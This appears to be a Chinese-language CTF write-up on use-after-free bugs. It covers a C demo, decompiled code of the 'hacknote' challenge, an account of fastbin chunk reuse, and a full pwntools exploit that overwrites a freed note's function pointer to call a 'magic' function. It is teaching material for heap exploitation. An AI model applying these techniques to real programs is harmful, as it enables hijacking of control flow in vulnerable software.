原理 Use After Free即其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转 。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题 。
一般所指的Use After Free漏洞主要是后两种,一般将释放后没有被设置为NULL的内存指针为dangling pointer
案例分析
可以用ubuntu16来跑这个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdio.h> #include <stdlib.h> typedef struct name { char *myname; void (*func)(char *str); } NAME;void myprint (char *str) { printf ("%s\n" , str); }void printmyname () { printf ("call print my name\n" ); }int main () { NAME *a; a = (NAME *)malloc (sizeof (struct name)); a->func = myprint; a->myname = "I can also use it" ; a->func("this is my function" ); free (a); a->func("I can also use it" ); a->func = printmyname; a->func("this is my function" ); a = NULL ; printf ("this pogram will crash...\n" ); a->func("can not be printed..." ); }
运行后观察到虽然我们 free 掉 a 指针,但是 a 指向的函数 myprint 依旧可以被调用,并且可以被修改为调用 printmyname,直到 a 被置为空以后才发生了 Segmention fault 。
1 2 3 4 5 free (a); a->func("I can also use it" ); a->func = printmyname; a->func("this is my function" );
看到myprint()函数依然可以被调用,并且成功执行打印出字符串。我们继续往下看,接下来不仅仅是对函数的调用了,而是直接将func成员变量中的函数指针更改成了printmyname()函数,并且调用func成员变量。虽然printmyname()函数不需要参数,但为了能够让程序认为这里依然是myprint()函数,并且认为我们的操作是合法的,所以传入了参数”this is my function”,再往后观察到,即使我们改变了成员变量中的函数指针,依然可以顺利执行printmyname()函数,并打印出printmyname()函数中原有打印“call print my name”的功能。
1 2 3 4 a = NULL ;printf ("this pogram will crash...\n" ); a->func("can not be printed..." );
之后将a结构体置空,打印出一个提示字符串,这样一来程序再一次调用func成员变量,看到只出现了提示标语,而没有出现调用func成员变量执行printmyname()函数的功能。这样一个例子可以很直观的体现出结构体指针在释放之后置空的重要性,以及没有置空情况下我们可以做些什么。
程序分析 检查保护 1 2 3 4 5 6 7 8 zer0ptr@DESKTOP-65QJLFA:~/Pwn/UAF$ checksec hacknote [*] '/home/zer0ptr/Pwn/UAF/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
静态分析
这里发现了一个魔法函数,记着应该有用。
add_note() 根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段: void (*printnote)(); 与char *content;,其中printnote会被设置为一个函数,其函数功能为输出 content 具体的内容。
note 的结构体定义如下:
1 2 3 4 struct note { void (*printnote)(); char *content; };
add_note 函数代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int add_note () { note *v0; signed int i; int size; char buf; unsigned int v5; v5 = __readgsdword(0x14u ); if ( count <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc (8u ); if ( !notelist[i] ) { puts ("Alloca Error" ); exit (-1 ); } notelist[i]->put = print_note_content; printf ("Note size :" ); read(0 , &buf, 8u ); size = atoi(&buf); v0 = notelist[i]; v0->content = malloc (size); if ( !notelist[i]->content ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , notelist[i]->content, size); puts ("Success !" ); ++count; return __readgsdword(0x14u ) ^ v5; } } } else { puts ("Full" ); } return __readgsdword(0x14u ) ^ v5; }
如果notelist+i是空字节则创建一个8字节的chunk,创建完成之后会在进行一次if判断,接着放置print_note_content()函数指针
1 2 3 4 int __cdecl print_note_content (int a1) { return puts (*(const char **)(a1 + 4 )); }
可以看到print_note_content()会输出a1加四地址处的变量,接着读入buf并将buf的大小赋值到size并在v0+4的位置malloc一个size大小的空间
程序会调用read函数将输入的内容放在*((void **)*(¬elist + i) + 1处, 这里无法进行溢出
print_note() print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned int print_note () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , &buf, 4u ); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts ("Out of bound!" ); _exit(0 ); } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]); return __readgsdword(0x14u ) ^ v3; }
delete_note delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int del_note () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , &buf, 4u ); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts ("Out of bound!" ); _exit(0 ); } if ( notelist[v1] ) { free (notelist[v1]->content); free (notelist[v1]); puts ("Success" ); } return __readgsdword(0x14u ) ^ v3; }
释放notelist+v1+1处的chunk
然后释放notelist+v1处的chunk
free这两个chunk时chunk指针并没有被置空
动态调试 l140w4n9 - Linux堆溢出Use After Free
太懒了后面补上
利用姿势
通过 use after free 来使得这个程序执行 magic 函数:一个很直接的想法是修改 note 的printnote字段为 magic 函数的地址,从而实现在执行printnote 的时候执行 magic 函数
我们来看看如何实现:
程序申请 8 字节内存用来存放 note 中的 printnote 以及 content 指针。
程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。
Details
申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
释放 note0
释放 note1
此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块(因为我们先释放的是 note0 再释放的 note1,那么 note1 就是链表的尾部,fast bin 是先进后出的,直接对链表尾进行操作)
所以 real content 对应的 chunk 其实是 note0
如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * r = process('./hacknote' )def addnote (size, content ): r.recvuntil(b":" ) r.sendline(b"1" ) r.recvuntil(b":" ) r.sendline(str (size).encode()) r.recvuntil(b":" ) r.sendline(content)def delnote (idx ): r.recvuntil(b":" ) r.sendline(b"2" ) r.recvuntil(b":" ) r.sendline(str (idx).encode())def printnote (idx ): r.recvuntil(b":" ) r.sendline(b"3" ) r.recvuntil(b":" ) r.sendline(str (idx).encode()) magic = 0x08048986 addnote(16 , b"aaaa" ) addnote(16 , b"ddaa" ) delnote(0 ) delnote(1 ) addnote(8 , p32(magic)) printnote(0 ) r.interactive()
References
CTF-Wiki
CSDN
CNBLOGS
Blogs
先知
Bilibili